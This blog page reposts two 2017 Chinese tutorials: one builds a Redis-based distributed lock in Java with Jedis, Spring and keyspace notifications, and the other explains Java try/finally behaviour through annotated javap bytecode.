开发者博客 – IT技术 尽在开发者博客

开发者博客 – 科技是第一生产力


  • 首页

  • 归档

  • 搜索

(详细可用)分布式锁实现 Java + redis (一)

发表于 2017-12-10

(详细可用)分布式锁实现 Java + redis (一)

分布式环境下很多系统需要使用分布式锁 目的不多说了

redis实现分布式锁

1
2
3
4
5
6
7
复制代码官网描述:
https://redis.io/topics/benchmarks
在 Pitfalls and misconceptions 小标题下
截取

Redis is, mostly, a single-threaded server from the POV of commands execution (actually modern versions of Redis use threads for different things)
意思是redis 在执行命令的时候是单线程执行的,所以能保证命令执行的原子性

所以可以使用redis 实现分布式锁

另外:

1
2
3
4
复制代码看了网上许多的基于 redis 的分布式锁实现 , 大多都是用
1.setNx加锁 + DEL命令解锁
2. 使线程休眠一段时间(轮训判断状态)
3. expire 键过期(貌似要解决setnx 命令后,线程出问题使得系统死锁)

优化解决方法 1. setNx 命令 进行加锁

1
2
3
4
复制代码不多说,就是 set if not exist 
如果不存在就set 成功,返回值1
如果已经存在,set 失败 , 返回0
官网: https://redis.io/commands/setnx
  1. 无需使用线程休眠 + 轮训 key 的状态来判断
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
复制代码通过 redis 的 Redis Keyspace Notifications
redis 通过设置键控件状态的监听通知客户端,也就是可以订阅(subscribe channels)
由于是通过 DEL mykey 进行释放锁操作,就可以监听 redis 的键DEL 事件

redis 配置
redis 配置文件下在 EVENT NOTIFICATION 区域
配置 notify-keyspace-events "AKE" 可以监听所有键事件(All Keys Events)
当然也可以具体订阅某个事件

redis 命令
>subscribe __keyevent@0__:del
实现订阅删除事件

可以通过执行:
> PUBLISH __keyevent@0__:del distributelocks
触发订阅事件
或者执行:
>DEL distributelocks (这里删除返回1 即删除成功才会触发)

官网:
https://redis.io/topics/notifications
https://redis.io/commands/del
----------
所以:
可以使用 redis 订阅键空间状态事件,当redis 调用DEL 释放锁, 实现通知其他线程获取锁

当然这个键空间通知跟zk的watch功能不是一样吗?

3.解决死锁

1
2
3
4
5
6
7
8
9
复制代码个人认为:
加个expire 过期时间是解决不了死锁问题的
我的原因是:
当你操作的是数据库数据时,你如果使用了分布式锁,又加了时间
1.如果结束前执行完成,是没有问题的
2.执行一半的情况下,键过期,导致其他(进程下的)线程,获取锁进入
当然这种情况可以拿锁后进行数据查询来判断是否一致

我的解决方式是,可以通过开启定时任务查看分布式锁的键,然后执行对应键(任务)的数据同步操作,或者是解锁操作

上代码

执行资源竞争操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
复制代码
Thread t1 = new Thread(new Runnable() {
@Override
public void run() {
DistributedLocksService distributedLocksService = applicationContext.getBean(DistributedLocksService.class);
distributedLocksService.robResource("distributedLocksService" , Thread.currentThread());
}
});
t1.start();
ThreadHelper.sleep(400);
Thread t2 = new Thread(new Runnable() {
@Override
public void run() {
DistributedLocksService distributedLocksService = applicationContext.getBean(DistributedLocksService.class);
distributedLocksService.robResource("distributedLocksService" , Thread.currentThread());
}
});
t2.start();
ThreadHelper.sleep(400);
Thread t3 = new Thread(new Runnable() {
@Override
public void run() {
DistributedLocksService distributedLocksService = applicationContext.getBean(DistributedLocksService.class);
distributedLocksService.robResource("distributedLocksService" , Thread.currentThread());
}
});
t3.start();

DistributedLocksService.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
复制代码
/**
* Created by zhuangjiesen on 2017/12/8.
*/
public class DistributedLocksService {
private DistributedLock distributedLock;
/*
*
* 抢占资源
* 涉及竞争
*
* */
public void robResource(String key , Object params ) {
Thread thread = (Thread)params;
try {
System.out.println("1. ------准备获取锁-------- : " + thread.getId());
distributedLock.lock(key);
// dosomething ...
System.out.println("2. ------成功获取锁-------- : " + thread.getId());
} finally {
distributedLock.unLock();
System.out.println("3. ------成功释放锁-------- : " + thread.getId());
}

}
public DistributedLock getDistributedLock() {
return distributedLock;
}
public void setDistributedLock(DistributedLock distributedLock) {
this.distributedLock = distributedLock;
}
}

DistributedLock.java 抽象分布式锁接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
复制代码
/**
*
* 分布式锁接口
* Created by zhuangjiesen on 2017/12/8.
*/
public interface DistributedLock {
public final static String DEFAULT_LOCK_KEY = "DEFAULT_LOCK_KEY_OF_DISTRIBUTEDLOCK";
public void lock(String key) ;
public boolean tryLock(String key) ;
public void unLock() ;
public void unLock(String key) ;
/*
* 用来执行分布式锁的一些问题,比如lock 之后,服务挂了,重启之后其他线程都拿不到锁了
* 为了解决这个情况,可以使用一个定时任务,检测锁状态
* */
public void scheduleTask();
}

redis 实现分布式锁 JedisDistributedLock.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
复制代码

/**
*
*
* redis 实现分布式锁
* Created by zhuangjiesen on 2017/12/8.
*/
public class JedisDistributedLock implements DistributedLock , ApplicationContextAware, ApplicationListener<ContextRefreshedEvent> {
private ApplicationContext applicationContext;
private static ThreadLocal<String> lockKeys = new ThreadLocal<>();
private static ConcurrentHashMap<String , Object> disLocks = new ConcurrentHashMap<>();
private JedisPool jedisPool;

@Override
public void lock(String key) {
Jedis jedis = jedisPool.getResource();
Long count = jedis.setnx( key , "1");
if (count != null && count.longValue() > 0) {
System.out.println("--lock--1. 获取到分布式锁.......");
lockKeys.set(key);
} else {
System.out.println("--lock--2. not .......未获取到分布式锁.......");
Object lock = null;
if ((lock = disLocks.get(key)) == null) {
// double check
synchronized (disLocks) {
if ((lock = disLocks.get(key)) == null) {
lock = new Object();
disLocks.put(key , lock);
}
}
}
synchronized (lock) {
try {
//线程休眠
lock.wait();
System.out.println("-------------------------");
lock(key);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}

@Override
public boolean tryLock(String key) {
Jedis jedis = jedisPool.getResource();
Long count = jedis.setnx( key , "1");
if (count != null && count.longValue() > 0) {
return true;
}
return false;
}

@Override
public void unLock() {
try {
String key = lockKeys.get();
unLock(key);
} finally {
lockKeys.remove();
}
}

@Override
public void unLock(String key) {
Jedis jedis = jedisPool.getResource();
Long del = jedis.del(key);
Object lock = null;
if (del != null && del.longValue() > 0 && (lock = disLocks.remove(key)) != null) {
//解锁
synchronized (lock) {
lock.notifyAll();
}
}
System.out.println("--unLock--3. key : " + key + " del : " + del);
}

@Override
public void scheduleTask() {
//执行轮训死锁问题
}

@Override
public void setApplicationContext(ApplicationContext context) throws BeansException {
this.applicationContext = context;
}


/*
* spring 容器加载完毕调用
*
* */
@Override
public void onApplicationEvent(ContextRefreshedEvent event) {
if (event.getApplicationContext().getParent() == null) {
jedisPool = applicationContext.getBean(JedisPool.class);
Jedis jedis = jedisPool.getResource();
Thread t1 = new Thread(new Runnable() {
@Override
public void run() {
jedis.subscribe(new JedisPubSub() {
@Override
public void onMessage(String channel, String message) {
super.onMessage(channel, message);
Object lock = null;
System.out.println(" 1. channel : " + channel);
System.out.println(" 2. message : " + message);
if ("__keyevent@0__:del".equals(channel) && (lock = disLocks.remove(message)) != null) {
//解锁
synchronized (lock) {
lock.notifyAll();
}
}
}
} , "__keyevent@0__:del");
}
});
t1.start();
}
}
}

线程模拟执行时间 ThreadHelper.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
复制代码
public class ThreadHelper {
/**
* 休眠模拟 rpc执行时间
* @param timeßß
*/
public static void sleep(long timeßß){
try {

Thread.currentThread().sleep(timeßß);
} catch (Exception e) {
// TODO: handle exception
e.printStackTrace();
}
}
}

jedis 配置

spring-jedis.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
复制代码    <context:property-placeholder location="classpath:jedis.properties" />


<bean id="jedisPoolConfig" class="redis.clients.jedis.JedisPoolConfig" >
<property name="maxTotal" value="50" />
<property name="minIdle" value="50" />
</bean>

<bean id="jedisPool" class="redis.clients.jedis.JedisPool" >
<constructor-arg index="0" ref="jedisPoolConfig" />
<constructor-arg index="1" value="${standardalone.host}" />
<constructor-arg index="2" value="${standardalone.port}" />
<constructor-arg index="3" value="${standardalone.timeout}" />
<constructor-arg index="4" value="${standardalone.password}" />
</bean>

jedis.properties

1
2
3
4
复制代码standardalone.host=192.168.130.130
standardalone.port=6379
standardalone.timeout=500
standardalone.password=redis

applicationContext.xml 中配置jedis 和 分布式锁的service

1
2
3
4
5
复制代码
<bean id="distributedLocksService" class="com.java.service.DistributedLocksService" >
<property name="distributedLock" ref="distributedLock"></property>
</bean>
<bean id="distributedLock" class="com.java.core.lock.impl.JedisDistributedLock" ></bean>

附上项目源码:
github.com/zhuangjiese…

目录:

1
2
3
4
5
6
7
复制代码处理类:
com.java.service.DistributedLocksService
分布式锁实现目录:
com.java.core.lock

main方法 DistributedLocksApp.java下
com.java.main.DistributedLocksApp.java

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Java中try finally 的原理(字节码解释)

发表于 2017-12-10

Java中的try finally 的原理

情况一: doTryFinally1() 就是try 中修改值并且return

Java 代码:

1
2
3
4
5
6
7
8
9
10
复制代码
public static String doTryFinally1 (){
String name = null;
try {
name= "zhuang";
return name;
} finally {
name = "zhuang111111";
}
}

字节码: (加括号是自己的理解)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
复制代码
public static java.lang.String doTryFinally1();
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=1, locals=3, args_size=0
0: aconst_null (初始化null值,进栈)
1: astore_0
2: ldc #2 // String zhuang
(int, float或String型常量值从常量池中推送至栈顶)
4: astore_0
(将栈顶引用型数值存入第一个本地变量)
5: aload_0
(将一个局部变量加载到操作数栈的指令)
6: astore_1
(将栈顶引用型数值存入第二个本地变量 这里等于又存了个要 return 的值到本地变量表)
7: ldc #3 // String zhuang111111
9: astore_0
(给name 赋值,也是 finally 块里的代码)
10: aload_1
(将第二个局部变量加载到操作数栈的指令 也就是 name = "zhuang" 的值, 所以finally 中对name 的地址进行操作对返回值没有效果)
11: areturn
12: astore_2

13: ldc #3 // String zhuang111111
15: astore_0
16: aload_2
17: athrow
Exception table:
from to target type
2 7 12 any

(finally 的另一个作用是当抛异常时,finally 中的代码块还依然执行,所以在exception table 中,又定义了一个 any 的异常处理如果抛异常了,程序也依然执行target 下的代码,最后返回的值也是不变的 )
LineNumberTable:
line 26: 0
line 28: 2
line 29: 5
line 31: 7
line 29: 10
line 31: 12
LocalVariableTable:
Start Length Slot Name Signature
2 16 0 name Ljava/lang/String;
StackMapTable: number_of_entries = 1
frame_type = 255 /* full_frame */
offset_delta = 12
locals = [ class java/lang/String ]
stack = [ class java/lang/Throwable ]

结论:

finally 的代码块编译后都会接到 try 代码块之后

1.如果 try 代码块中return ,就return 了 2.如果 try 代码块后还有代码继续执行,则会出现 goto 指令,跳转到下段指令 然后在 exception table 中注册了 any 异常 如果在 try 内抛了异常,就会去异常表找到 any 然后,跳转到对应的 target 代码段继续执行

测试的Java 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
复制代码
/**
* Created by zhuangjiesen on 2017/12/9.
*/
public class TryFinallyTest {

public static void main(String[] args) {
try {
String str = "zhuang";
} finally {
String name = "zhuang111111";
}

System.out.println("doTryFinally1 : " + doTryFinally1());
System.out.println("doTryFinally2 : " + doTryFinally2());
System.out.println("doTryFinally3 : " + doTryFinally3());
System.out.println("doTryFinally4 : " + doTryFinally4());
}

public static String doTryFinally1 (){
String name = null;
try {
name= "zhuang";
return name;
} finally {
name = "zhuang111111";
}
}

public static String doTryFinally2 (){
String name = null;
try {
name= "zhuang";
return name;
} catch (Exception e) {
e.printStackTrace();
} finally {
name = "zhuang111111";
return name;
}
}

public static String doTryFinally3 (){
String name = null;
try {
name= "zhuang";
} catch (Exception e) {
e.printStackTrace();
} finally {
name = "zhuang111111";
return name;
}
}

public static int doTryFinally4 (){
int a = 0;
try {
a = 10;
return a;
} catch (Exception e) {
e.printStackTrace();
} finally {
a++;
return a;
}
}

public static String doTryFinally5 (){
String name = null;
try {
name= "zhuang";
} catch (Exception e) {
e.printStackTrace();
} finally {
name = "zhuang111111";
}
return name;
}
public static String doTryFinally6 (){
String name = null;
try {
name= "zhuang";
} catch (Exception e) {
name= "444444";
return name;
} finally {
name = "zhuang111111";
}
return name;
}

}

字节码 (javap -verbose TryFinallyTest)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
复制代码
Classfile /C:/Users/zhuangjiesen/IdeaProjects/HelloWorld/target/classes/com/java/TryFinallyTest.class
Last modified 2017-12-9; size 2387 bytes
MD5 checksum 1d97c2b783088a05dc7a89a3066f1fcc
Compiled from "TryFinallyTest.java"
public class com.java.TryFinallyTest
SourceFile: "TryFinallyTest.java"
minor version: 0
major version: 52
flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
#1 = Methodref #23.#55 // java/lang/Object."<init>":()V
#2 = String #56 // zhuang
#3 = String #57 // zhuang111111
#4 = Fieldref #58.#59 // java/lang/System.out:Ljava/io/PrintStream;
#5 = Class #60 // java/lang/StringBuilder
#6 = Methodref #5.#55 // java/lang/StringBuilder."<init>":()V
#7 = String #61 // doTryFinally1 :
#8 = Methodref #5.#62 // java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
#9 = Methodref #22.#63 // com/java/TryFinallyTest.doTryFinally1:()Ljava/lang/String;
#10 = Methodref #5.#64 // java/lang/StringBuilder.toString:()Ljava/lang/String;
#11 = Methodref #65.#66 // java/io/PrintStream.println:(Ljava/lang/String;)V
#12 = String #67 // doTryFinally2 :
#13 = Methodref #22.#68 // com/java/TryFinallyTest.doTryFinally2:()Ljava/lang/String;
#14 = String #69 // doTryFinally3 :
#15 = Methodref #22.#70 // com/java/TryFinallyTest.doTryFinally3:()Ljava/lang/String;
#16 = String #71 // doTryFinally4 :
#17 = Methodref #22.#72 // com/java/TryFinallyTest.doTryFinally4:()I
#18 = Methodref #5.#73 // java/lang/StringBuilder.append:(I)Ljava/lang/StringBuilder;
#19 = Class #74 // java/lang/Exception
#20 = Methodref #19.#75 // java/lang/Exception.printStackTrace:()V
#21 = String #76 // 444444
#22 = Class #77 // com/java/TryFinallyTest
#23 = Class #78 // java/lang/Object
#24 = Utf8 <init>
#25 = Utf8 ()V
#26 = Utf8 Code
#27 = Utf8 LineNumberTable
#28 = Utf8 LocalVariableTable
#29 = Utf8 this
#30 = Utf8 Lcom/java/TryFinallyTest;
#31 = Utf8 main
#32 = Utf8 ([Ljava/lang/String;)V
#33 = Utf8 args
#34 = Utf8 [Ljava/lang/String;
#35 = Utf8 StackMapTable
#36 = Class #79 // java/lang/Throwable
#37 = Utf8 doTryFinally1
#38 = Utf8 ()Ljava/lang/String;
#39 = Utf8 name
#40 = Utf8 Ljava/lang/String;
#41 = Class #80 // java/lang/String
#42 = Utf8 doTryFinally2
#43 = Utf8 e
#44 = Utf8 Ljava/lang/Exception;
#45 = Class #74 // java/lang/Exception
#46 = Utf8 doTryFinally3
#47 = Utf8 doTryFinally4
#48 = Utf8 ()I
#49 = Utf8 a
#50 = Utf8 I
#51 = Utf8 doTryFinally5
#52 = Utf8 doTryFinally6
#53 = Utf8 SourceFile
#54 = Utf8 TryFinallyTest.java
#55 = NameAndType #24:#25 // "<init>":()V
#56 = Utf8 zhuang
#57 = Utf8 zhuang111111
#58 = Class #81 // java/lang/System
#59 = NameAndType #82:#83 // out:Ljava/io/PrintStream;
#60 = Utf8 java/lang/StringBuilder
#61 = Utf8 doTryFinally1 :
#62 = NameAndType #84:#85 // append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
#63 = NameAndType #37:#38 // doTryFinally1:()Ljava/lang/String;
#64 = NameAndType #86:#38 // toString:()Ljava/lang/String;
#65 = Class #87 // java/io/PrintStream
#66 = NameAndType #88:#89 // println:(Ljava/lang/String;)V
#67 = Utf8 doTryFinally2 :
#68 = NameAndType #42:#38 // doTryFinally2:()Ljava/lang/String;
#69 = Utf8 doTryFinally3 :
#70 = NameAndType #46:#38 // doTryFinally3:()Ljava/lang/String;
#71 = Utf8 doTryFinally4 :
#72 = NameAndType #47:#48 // doTryFinally4:()I
#73 = NameAndType #84:#90 // append:(I)Ljava/lang/StringBuilder;
#74 = Utf8 java/lang/Exception
#75 = NameAndType #91:#25 // printStackTrace:()V
#76 = Utf8 444444
#77 = Utf8 com/java/TryFinallyTest
#78 = Utf8 java/lang/Object
#79 = Utf8 java/lang/Throwable
#80 = Utf8 java/lang/String
#81 = Utf8 java/lang/System
#82 = Utf8 out
#83 = Utf8 Ljava/io/PrintStream;
#84 = Utf8 append
#85 = Utf8 (Ljava/lang/String;)Ljava/lang/StringBuilder;
#86 = Utf8 toString
#87 = Utf8 java/io/PrintStream
#88 = Utf8 println
#89 = Utf8 (Ljava/lang/String;)V
#90 = Utf8 (I)Ljava/lang/StringBuilder;
#91 = Utf8 printStackTrace
{
public com.java.TryFinallyTest();
flags: ACC_PUBLIC
Code:
stack=1, locals=1, args_size=1
0: aload_0
1: invokespecial #1 // Method java/lang/Object."<init>":()V
4: return
LineNumberTable:
line 6: 0
LocalVariableTable:
Start Length Slot Name Signature
0 5 0 this Lcom/java/TryFinallyTest;

public static void main(java.lang.String[]);
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=3, locals=4, args_size=1
0: ldc #2 // String zhuang
2: astore_1
3: ldc #3 // String zhuang111111
5: astore_1
6: goto 15
9: astore_2
10: ldc #3 // String zhuang111111
12: astore_3
13: aload_2
14: athrow
15: getstatic #4 // Field java/lang/System.out:Ljava/io/PrintStream;
18: new #5 // class java/lang/StringBuilder
21: dup
22: invokespecial #6 // Method java/lang/StringBuilder."<init>":()V
25: ldc #7 // String doTryFinally1 :
27: invokevirtual #8 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
30: invokestatic #9 // Method doTryFinally1:()Ljava/lang/String;
33: invokevirtual #8 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
36: invokevirtual #10 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
39: invokevirtual #11 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
42: getstatic #4 // Field java/lang/System.out:Ljava/io/PrintStream;
45: new #5 // class java/lang/StringBuilder
48: dup
49: invokespecial #6 // Method java/lang/StringBuilder."<init>":()V
52: ldc #12 // String doTryFinally2 :
54: invokevirtual #8 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
57: invokestatic #13 // Method doTryFinally2:()Ljava/lang/String;
60: invokevirtual #8 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
63: invokevirtual #10 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
66: invokevirtual #11 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
69: getstatic #4 // Field java/lang/System.out:Ljava/io/PrintStream;
72: new #5 // class java/lang/StringBuilder
75: dup
76: invokespecial #6 // Method java/lang/StringBuilder."<init>":()V
79: ldc #14 // String doTryFinally3 :
81: invokevirtual #8 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
84: invokestatic #15 // Method doTryFinally3:()Ljava/lang/String;
87: invokevirtual #8 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
90: invokevirtual #10 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
93: invokevirtual #11 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
96: getstatic #4 // Field java/lang/System.out:Ljava/io/PrintStream;
99: new #5 // class java/lang/StringBuilder
102: dup
103: invokespecial #6 // Method java/lang/StringBuilder."<init>":()V
106: ldc #16 // String doTryFinally4 :
108: invokevirtual #8 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
111: invokestatic #17 // Method doTryFinally4:()I
114: invokevirtual #18 // Method java/lang/StringBuilder.append:(I)Ljava/lang/StringBuilder;
117: invokevirtual #10 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
120: invokevirtual #11 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
123: return
Exception table:
from to target type
0 3 9 any
LineNumberTable:
line 11: 0
line 13: 3
line 14: 6
line 13: 9
line 14: 13
line 17: 15
line 18: 42
line 19: 69
line 20: 96
line 21: 123
LocalVariableTable:
Start Length Slot Name Signature
0 124 0 args [Ljava/lang/String;
StackMapTable: number_of_entries = 2
frame_type = 73 /* same_locals_1_stack_item */
stack = [ class java/lang/Throwable ]
frame_type = 5 /* same */


public static java.lang.String doTryFinally1();
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=1, locals=3, args_size=0
0: aconst_null
1: astore_0
2: ldc #2 // String zhuang
4: astore_0
5: aload_0
6: astore_1
7: ldc #3 // String zhuang111111
9: astore_0
10: aload_1
11: areturn
12: astore_2
13: ldc #3 // String zhuang111111
15: astore_0
16: aload_2
17: athrow
Exception table:
from to target type
2 7 12 any
LineNumberTable:
line 26: 0
line 28: 2
line 29: 5
line 31: 7
line 29: 10
line 31: 12
LocalVariableTable:
Start Length Slot Name Signature
2 16 0 name Ljava/lang/String;
StackMapTable: number_of_entries = 1
frame_type = 255 /* full_frame */
offset_delta = 12
locals = [ class java/lang/String ]
stack = [ class java/lang/Throwable ]


public static java.lang.String doTryFinally2();
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=1, locals=3, args_size=0
0: aconst_null
1: astore_0
2: ldc #2 // String zhuang
4: astore_0
5: aload_0
6: astore_1
7: ldc #3 // String zhuang111111
9: astore_0
10: aload_0
11: areturn
12: astore_1
13: aload_1
14: invokevirtual #20 // Method java/lang/Exception.printStackTrace:()V
17: ldc #3 // String zhuang111111
19: astore_0
20: aload_0
21: areturn
22: astore_2
23: ldc #3 // String zhuang111111
25: astore_0
26: aload_0
27: areturn
Exception table:
from to target type
2 7 12 Class java/lang/Exception
2 7 22 any
12 17 22 any
LineNumberTable:
line 39: 0
line 41: 2
line 42: 5
line 46: 7
line 47: 10
line 43: 12
line 44: 13
line 46: 17
line 47: 20
line 46: 22
line 47: 26
LocalVariableTable:
Start Length Slot Name Signature
13 4 1 e Ljava/lang/Exception;
2 26 0 name Ljava/lang/String;
StackMapTable: number_of_entries = 2
frame_type = 255 /* full_frame */
offset_delta = 12
locals = [ class java/lang/String ]
stack = [ class java/lang/Exception ]
frame_type = 73 /* same_locals_1_stack_item */
stack = [ class java/lang/Throwable ]


public static java.lang.String doTryFinally3();
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=1, locals=3, args_size=0
0: aconst_null
1: astore_0
2: ldc #2 // String zhuang
4: astore_0
5: ldc #3 // String zhuang111111
7: astore_0
8: aload_0
9: areturn
10: astore_1
11: aload_1
12: invokevirtual #20 // Method java/lang/Exception.printStackTrace:()V
15: ldc #3 // String zhuang111111
17: astore_0
18: aload_0
19: areturn
20: astore_2
21: ldc #3 // String zhuang111111
23: astore_0
24: aload_0
25: areturn
Exception table:
from to target type
2 5 10 Class java/lang/Exception
2 5 20 any
10 15 20 any
LineNumberTable:
line 56: 0
line 58: 2
line 62: 5
line 63: 8
line 59: 10
line 60: 11
line 62: 15
line 63: 18
line 62: 20
line 63: 24
LocalVariableTable:
Start Length Slot Name Signature
11 4 1 e Ljava/lang/Exception;
2 24 0 name Ljava/lang/String;
StackMapTable: number_of_entries = 2
frame_type = 255 /* full_frame */
offset_delta = 10
locals = [ class java/lang/String ]
stack = [ class java/lang/Exception ]
frame_type = 73 /* same_locals_1_stack_item */
stack = [ class java/lang/Throwable ]


public static int doTryFinally4();
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=1, locals=3, args_size=0
0: iconst_0
1: istore_0
2: bipush 10
4: istore_0
5: iload_0
6: istore_1
7: iinc 0, 1
10: iload_0
11: ireturn
12: astore_1
13: aload_1
14: invokevirtual #20 // Method java/lang/Exception.printStackTrace:()V
17: iinc 0, 1
20: iload_0
21: ireturn
22: astore_2
23: iinc 0, 1
26: iload_0
27: ireturn
Exception table:
from to target type
2 7 12 Class java/lang/Exception
2 7 22 any
12 17 22 any
LineNumberTable:
line 70: 0
line 72: 2
line 73: 5
line 77: 7
line 78: 10
line 74: 12
line 75: 13
line 77: 17
line 78: 20
line 77: 22
line 78: 26
LocalVariableTable:
Start Length Slot Name Signature
13 4 1 e Ljava/lang/Exception;
2 26 0 a I
StackMapTable: number_of_entries = 2
frame_type = 255 /* full_frame */
offset_delta = 12
locals = [ int ]
stack = [ class java/lang/Exception ]
frame_type = 73 /* same_locals_1_stack_item */
stack = [ class java/lang/Throwable ]


public static java.lang.String doTryFinally5();
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=1, locals=3, args_size=0
0: aconst_null
1: astore_0
2: ldc #2 // String zhuang
4: astore_0
5: ldc #3 // String zhuang111111
7: astore_0
8: goto 28
11: astore_1
12: aload_1
13: invokevirtual #20 // Method java/lang/Exception.printStackTrace:()V
16: ldc #3 // String zhuang111111
18: astore_0
19: goto 28
22: astore_2
23: ldc #3 // String zhuang111111
25: astore_0
26: aload_2
27: athrow
28: aload_0
29: areturn
Exception table:
from to target type
2 5 11 Class java/lang/Exception
2 5 22 any
11 16 22 any
LineNumberTable:
line 85: 0
line 87: 2
line 91: 5
line 92: 8
line 88: 11
line 89: 12
line 91: 16
line 92: 19
line 91: 22
line 93: 28
LocalVariableTable:
Start Length Slot Name Signature
12 4 1 e Ljava/lang/Exception;
2 28 0 name Ljava/lang/String;
StackMapTable: number_of_entries = 3
frame_type = 255 /* full_frame */
offset_delta = 11
locals = [ class java/lang/String ]
stack = [ class java/lang/Exception ]
frame_type = 74 /* same_locals_1_stack_item */
stack = [ class java/lang/Throwable ]
frame_type = 5 /* same */


public static java.lang.String doTryFinally6();
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=1, locals=4, args_size=0
0: aconst_null
1: astore_0
2: ldc #2 // String zhuang
4: astore_0
5: ldc #3 // String zhuang111111
7: astore_0
8: goto 28
11: astore_1
12: ldc #21 // String 444444
14: astore_0
15: aload_0
16: astore_2
17: ldc #3 // String zhuang111111
19: astore_0
20: aload_2
21: areturn
22: astore_3
23: ldc #3 // String zhuang111111
25: astore_0
26: aload_3
27: athrow
28: aload_0
29: areturn
Exception table:
from to target type
2 5 11 Class java/lang/Exception
2 5 22 any
11 17 22 any
LineNumberTable:
line 98: 0
line 100: 2
line 105: 5
line 106: 8
line 101: 11
line 102: 12
line 103: 15
line 105: 17
line 103: 20
line 105: 22
line 107: 28
LocalVariableTable:
Start Length Slot Name Signature
12 10 1 e Ljava/lang/Exception;
2 28 0 name Ljava/lang/String;
StackMapTable: number_of_entries = 3
frame_type = 255 /* full_frame */
offset_delta = 11
locals = [ class java/lang/String ]
stack = [ class java/lang/Exception ]
frame_type = 74 /* same_locals_1_stack_item */
stack = [ class java/lang/Throwable ]
frame_type = 5 /* same */

}

本文转载自: 掘金

